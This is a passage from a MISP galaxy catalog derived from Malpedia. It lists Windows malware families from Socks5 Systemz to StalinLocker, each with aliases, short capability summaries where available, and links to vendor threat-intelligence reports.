The tag is: *misp-galaxy:malpedia="Socks5 Systemz"*

Socks5 Systemz is also known as:

Table 5180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz
https://csirtasobancaria.com/nueva-actividad-del-backdoor-socks5systemz
https://www.bitsight.com/blog/proxyam-powered-socks5systemz-botnet
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey
https://www.bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey

SocksBot

The tag is: *misp-galaxy:malpedia="SocksBot"*

SocksBot is also known as:

- BIRDDOG
- Nadrac

Table 5181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot
https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta
https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf
https://threatminer.org/report.php?q=Accenture-Goldfin-Security-Alert.pdf&y=2018
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

SocksProxyGo

The tag is: *misp-galaxy:malpedia="SocksProxyGo"*

SocksProxyGo is also known as:

Table 5182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksproxygo
https://asiapacificdefencereporter.com/wp-content/uploads/2023/08/Final-CRWD-2023-Threat-Hunting-Report.pdf

SodaMaster

This is a RAT that is usually loaded with one or more shellcode and/or reflective DLL injection techniques. The RAT uses RC4 or a hardcoded RSA key for traffic encryption/decryption. Its communication can either happen via a raw TCP socket or a HTTP POST request. Depending on the version, the RAT may remotely execute DLLs or shellcode.

The tag is: *misp-galaxy:malpedia="SodaMaster"*

SodaMaster is also known as:

- DelfsCake
- HEAVYPOT
- dfls

Table 5183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf
https://securelist.com/apt-trends-report-q1-2021/101967/
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://www.bleepingcomputer.com/news/security/chinese-hackers-abuse-vlc-media-player-to-launch-malware-loader/
https://www.welivesecurity.com/en/eset-research/operation-fishmedley/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks

Solar

The tag is: *misp-galaxy:malpedia="Solar"*

Solar is also known as:

Table 5184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solar
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

Solarbot

The tag is: *misp-galaxy:malpedia="Solarbot"*

Solarbot is also known as:

- Napolar

Table 5185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot
https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/
https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/

solarmarker

Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.

Some of SolarMarker's capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims' web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.

The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.

The tag is: *misp-galaxy:malpedia="solarmarker"*

solarmarker is also known as:

- Jupyter
- Polazert
- Yellow Cockatoo

Table 5186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker
https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/
https://www.recordedfuture.com/exploring-the-depths-of-solarmarkers-multi-tiered-infrastructure
https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire
https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/
https://squiblydoo.blog/2022/09/27/solarmarker-the-old-is-new/
https://twitter.com/MsftSecIntel/status/1403461397283950597
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker
https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction
https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more
https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
https://hunt.io/blog/solarmarker-hunt-insight-and-findings
https://embee-research.ghost.io/shodan-censys-queries/
https://embeeresearch.io/shodan-censys-queries/
https://blogs.vmware.com/security/2023/11/jupyter-rising-an-update-on-jupyter-infostealer.html
https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/
https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer
https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise
https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html
https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/
https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf
https://www.proofpoint.com/us/blog/threat-insight/ta569-socgholish-and-beyond
https://unit42.paloaltonetworks.com/solarmarker-malware/
https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer

SolidBit

Ransomware, written in .NET.

The tag is: *misp-galaxy:malpedia="SolidBit"*

SolidBit is also known as:

Table 5187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solidbit
https://www.trendmicro.com/en_us/research/22/h/solidbit-ransomware-enters-the-raas-scene-and-takes-aim-at-gamer.html

SombRAT

The tag is: *misp-galaxy:malpedia="SombRAT"*

SombRAT is also known as:

Table 5188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-financially-motivated-aggressive-group-carrying-out-ransomware-campaigns-active-iocs
https://blogs.blackberry.com/en/2021/05/threat-thursday-sombrat-always-leave-yourself-a-backdoor

Somnia

The tag is: *misp-galaxy:malpedia="Somnia"*

Somnia is also known as:

Table 5189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.somnia
https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65

Sorano

The tag is: *misp-galaxy:malpedia="Sorano"*

Sorano is also known as:

Table 5190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorano
https://github.com/3xp0rt/SoranoStealer
https://3xp0rt.xyz/lpmkikVic
https://github.com/Alexuiop1337/SoranoStealer

soraya

The tag is: *misp-galaxy:malpedia="soraya"*

soraya is also known as:

Table 5191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya
https://www.codeandsec.com/Soraya-Malware-Analysis-Dropper

SoreFang

The tag is: *misp-galaxy:malpedia="SoreFang"*

SoreFang is also known as:

Table 5192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorefang
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a
https://securelist.com/apt-trends-report-q3-2020/99204/

Sorgu

The tag is: *misp-galaxy:malpedia="Sorgu"*

Sorgu is also known as:

Table 5193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu

https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Soul

The tag is: *misp-galaxy:malpedia="Soul"*

Soul is also known as:

- SoulSearcher

Table 5194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soul
https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware
https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/

SoulSearcher

SoulSearcher is a second-stage loader responsible for executing the Soul backdoor main module and parsing its configuration. SoulSearcher has multiple variants based on where the configuration and payload are located and on the type of configuration.

The tag is: *misp-galaxy:malpedia="SoulSearcher"*

SoulSearcher is also known as:

Table 5195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soulsearcher
https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware
https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/

SoundBill

According to Cisco Talos, this is a customized shellcode loader that has been observed to stage Mimikatz and CobaltStrike.

The tag is: *misp-galaxy:malpedia="SoundBill"*

SoundBill is also known as:

Table 5196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbill
https://blog.talosintelligence.com/uat-7237-targets-web-hosting-infra/

SOUNDBITE

The tag is: *misp-galaxy:malpedia="SOUNDBITE"*

SOUNDBITE is also known as:

- denis

Table 5197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite
https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/
https://attack.mitre.org/wiki/Software/S0157
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx
https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A

SpaceColon

According to ESET, Spacecolon is a collection of malware written in Delphi, consisting of ScRansom, ScHackTool, ScInstaller, ScService, and ScPatcher.

The tag is: *misp-galaxy:malpedia="SpaceColon"*

SpaceColon is also known as:

Table 5198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spacecolon

https://www.welivesecurity.com/en/eset-research/cosmicbeetle-steps-up-probation-period-ransomhub/

SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system

The tag is: *misp-galaxy:malpedia="SPACESHIP"*

SPACESHIP is also known as:

Table 5199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

Spark

The tag is: *misp-galaxy:malpedia="Spark"*

Spark is also known as:

Table 5200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spark
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Sparkle

The tag is: *misp-galaxy:malpedia="Sparkle"*

Sparkle is also known as:

Table 5201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparkle
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

Sparksrv

The tag is: *misp-galaxy:malpedia="Sparksrv"*

Sparksrv is also known as:

Table 5202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparksrv
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/luckycat-redux-campaign-attacks-multiple-targets-in-india-and-japan

SparkRAT

SparkRAT is a cross-platform, open-source Remote Administration Tool (RAT) written in Go and released on GitHub in 2022. Compatible with Windows, macOS, and Linux systems, it offers extensive remote access capabilities, including file and process management, file transfer, remote desktop monitoring, system information collection, and command execution via terminal access.

The tag is: *misp-galaxy:malpedia="SparkRAT"*

SparkRAT is also known as:

Table 5203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat
https://asec.ahnlab.com/en/52899/
https://www.clearskysec.com/0d-vulnerability-exploited-in-the_wild/
https://github.com/XZB-1248/Spark
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://hunt.io/blog/sparkrat-server-detection-macos-activity-and-malicious-connections
https://blog.exatrack.com/melofee/
https://www.clearskysec.com/wp-content/uploads/2024/11/Zero-day-cve-2024-4351-report.pdf
https://asec.ahnlab.com/ko/56715/

https://thehackernews.com/2025/09/chinese-hackers-rednovember-target.html
https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/
https://www.recordedfuture.com/research/tag-100-uses-open-source-tools-in-suspected-global-espionage-campaign
https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/

SparrowDoor

The tag is: *misp-galaxy:malpedia="SparrowDoor"*

SparrowDoor is also known as:

Table 5204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door
https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf
https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/
https://blog-en.itochuci.co.jp/entry/2023/10/06/173200
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf

Spartacus

Spartacus is ransomware written in .NET and emerged in the first half of 2018.

The tag is: *misp-galaxy:malpedia="Spartacus"*

Spartacus is also known as:

Table 5205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spartacus
https://bartblaze.blogspot.com/2018/04/this-is-spartacus-new-ransomware-on.html

Spereal

The tag is: *misp-galaxy:malpedia="Spereal"*

Spereal is also known as:

Table 5206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spearal
https://www.welivesecurity.com/en/eset-research/bladedfeline-whispering-dark/
https://research.checkpoint.com/2024/iranian-malware-attacks-iraqi-government/

SPECTRALVIPER

The tag is: *misp-galaxy:malpedia="SPECTRALVIPER"*

SPECTRALVIPER is also known as:

Table 5207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spectralviper
https://www.elastic.co/fr/security-labs/elastic-charms-spectralviper

Spectre Rat

Mixed RAT and Botnet malware sold in underground forums. In march 2021 it was advertised with the Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.

The tag is: *misp-galaxy:malpedia="Spectre Rat"*

Spectre Rat is also known as:

Table 5208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre
https://medium.com/walmartglobaltech/spectre-spc-v9-campaigns-and-updates-546c2e65e247
https://yoroi.company/research/spectre-v4-0-the-speed-of-malware-threats-after-the-pandemics/

Spedear

The tag is: *misp-galaxy:malpedia="Spedear"*

Spedear is also known as:

Table 5209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear

https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

SPHijacker

According to Trend Micro, this is a tool designed to disable security products, adopting two approaches to achieve this purpose. One approach terminates the security product process by using a vulnerable driver, zamguard64.sys, published by Zemana (vulnerability designated as CVE-2018-5713). Meanwhile, another approach disables process launching by using a new technique that they named stack rumbling.

The tag is: *misp-galaxy:malpedia="SPHijacker"*

SPHijacker is also known as:

Table 5210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker
https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html

SPICA

The tag is: *misp-galaxy:malpedia="SPICA"*

SPICA is also known as:

Table 5211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spica
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

Spicy Hot Pot

The tag is: *misp-galaxy:malpedia="Spicy Hot Pot"*

Spicy Hot Pot is also known as:

Table 5212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spicyhotpot
https://www.crowdstrike.com/blog/spicy-hot-pot-rootkit-explained/

SPIDERPIG RAT

The tag is: *misp-galaxy:malpedia="SPIDERPIG RAT"*

SPIDERPIG RAT is also known as:

Table 5213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf
https://twitter.com/nahamike01/status/1471496800582664193?s=20
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf

Splinter

According to Unit 42, Splinter is a post-exploitation red team tool, written in Rust.

The tag is: *misp-galaxy:malpedia="Splinter"*

Splinter is also known as:

Table 5214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.splinter
https://unit42.paloaltonetworks.com/analysis-pentest-tool-splinter/

splitloader

The tag is: *misp-galaxy:malpedia="splitloader"*

splitloader is also known as:

Table 5215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.splitloader
https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/

Spora

The tag is: *misp-galaxy:malpedia="Spora"*

Spora is also known as:

Table 5216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom
https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
http://malware-traffic-analysis.net/2017/01/17/index2.html
https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware
https://github.com/MinervaLabsResearch/SporaVaccination
https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas

SpyBot

The tag is: *misp-galaxy:malpedia="SpyBot"*

SpyBot is also known as:

Table 5217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot

Spyder

The tag is: *misp-galaxy:malpedia="Spyder"*

Spyder is also known as:

Table 5218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder
https://vms.drweb.com/virus/?i=23648386
https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive
https://www.youtube.com/watch?v=-7Swd1ZetiQ
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/
https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021

https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.welivesecurity.com/en/eset-research/operation-fishmedley/
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques
https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf

Spyder Patchwork

The tag is: *misp-galaxy:malpedia="Spyder Patchwork"*

Spyder Patchwork is also known as:

Table 5219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder_patchwork
https://ti.qianxin.com/blog/articles/Patchwork-Group-Utilizing-WarHawk-Backdoor-Variant-Spyder-for-Espionage-against-Multiple-Countries-EN/
https://mp.weixin.qq.com/s/ewGyvlmWUD45XTVsoxeVpg

SpyEye

SpyEye is a malware targeting both Microsoft Windows browsers and Apple iOS Safari. Originated in Russia, it was available in dark forums for $500+ claiming to be the "The Next Zeus Malware". It performed many functionalities typical from bankers trojan such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), http access, Pop3 grabbers and FTP grabbers. SpyEye allowed hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.

The tag is: *misp-galaxy:malpedia="SpyEye"*

SpyEye is also known as:

Table 5220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye
https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/
https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals

https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html
https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/
http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/

SpyGrace

A backdoor, capable of providing shell access, loading additional payloads, interacting remotely with the file system and processes, and taking screenshots.

The tag is: *misp-galaxy:malpedia="SpyGrace"*

SpyGrace is also known as:

- SpyGlace

Table 5221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spygrace
https://threatbook.io/blog/Analysis-of-APT-C-60-Attack-on-South-Korea
https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-spy-group-exploits-wps-office-zero-day-analysis-uncovers-a-second-vulnerability/
https://www.welivesecurity.com/en/eset-research/analysis-of-two-arbitrary-code-execution-vulnerabilities-affecting-wps-office/
https://blogs.jpcert.or.jp/en/2024/12/APT-C-60.html

SquidLoader

The tag is: *misp-galaxy:malpedia="SquidLoader"*

SquidLoader is also known as:

Table 5222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squidloader
https://github.com/kevoreilly/CAPEv2/blob/master/data/yara/CAPE/DoomedLoader.yar

https://cybersecurity.att.com/blogs/labs-research/highly-evasive-squidloader-targets-chinese-organizations

Squirrelwaffle

According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim's environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.

The tag is: *misp-galaxy:malpedia="Squirrelwaffle"*

Squirrelwaffle is also known as:

- DatopLoader

Table 5223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle
https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html
https://www.youtube.com/watch?v=9X2P7aFKSw0
https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike
https://redcanary.com/blog/intelligence-insights-december-2021
https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan
https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html
https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/
https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader
https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike
https://redcanary.com/blog/intelligence-insights-november-2021/
https://certitude.consulting/blog/en/unpatched-exchange-servers-distribute-phishing-links-squirrelwaffle/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.cynet.com/understanding-squirrelwaffle/
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/
https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/
https://security-soup.net/squirrelwaffle-maldoc-analysis/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/the-newest-malicious-actor-squirrelwaffle-malicious-doc/
https://twitter.com/jhencinski/status/1464268732096815105
https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/
https://www.malware-traffic-analysis.net/2021/09/17/index.html
https://twitter.com/Max_Mal_/status/1442496131410190339
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot

SquirtDanger

According to PaloAlto, SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications.

The tag is: *misp-galaxy:malpedia="SquirtDanger"*

SquirtDanger is also known as:

Table 5224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger
https://researchcenter.paloaltonetworks.com/2018/04/unit42-squirtdanger-swiss-army-knife-malware-veteran-malware-author-thebottle/

sRDI

sRDI allows for the conversion of DLL files to position independent shellcode. It attempts to be a fully functional PE loader supporting proper section permissions, TLS callbacks, and sanity checks. It can be thought of as a shellcode PE loader strapped to a packed DLL.

The tag is: *misp-galaxy:malpedia="sRDI"*

sRDI is also known as:

- DAVESHELL

Table 5225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.srdi
https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing
https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/
https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing
https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight
https://github.com/monoxgas/sRDI

SSHNET

The tag is: *misp-galaxy:malpedia="SSHNET"*

SSHNET is also known as:

Table 5226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sshnet
https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf
https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices
https://www.crowdstrike.com/blog/who-is-pioneer-kitten/

SslMM

The tag is: *misp-galaxy:malpedia="SslMM"*

SslMM is also known as:

Table 5227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

SSLoad

SSLoad is a Rust-based downloader that first emerged in January 2024 and is used to deliver secondary payloads. Early versions of the malware used a first-stage DLL that connected to a Telegram channel named 'SSLoad' to retrieve another URL. It then downloaded a compressed PE file using a hardcoded User-Agent (SSLoad/1.x) and Content-Type over HTTP. The downloaded file was then decompressed and executed directly in memory. The malware has since undergone several updates, including changes to the command-and-control (C2) communication and the supporting executables that load the malware. Recent versions of the malware bypass the first-stage DLL by loading SSLoad directly onto the victim's machine.

The tag is: *misp-galaxy:malpedia="SSLoad"*

SSLoad is also known as:

Table 5228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ssload
https://www.linkedin.com/feed/update/urn:li:activity:7185786751922192384/
https://infosec.exchange/@spamhaus/113402246487904714
https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-04-15-IOC-for-Contact-Forms-campaign-SSLoad-activity.txt

Stabuniq

The tag is: *misp-galaxy:malpedia="Stabuniq"*

Stabuniq is also known as:

Table 5229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq
https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers
http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html

StalinLocker

The tag is: *misp-galaxy:malpedia="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

Table 5230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stalin_locker
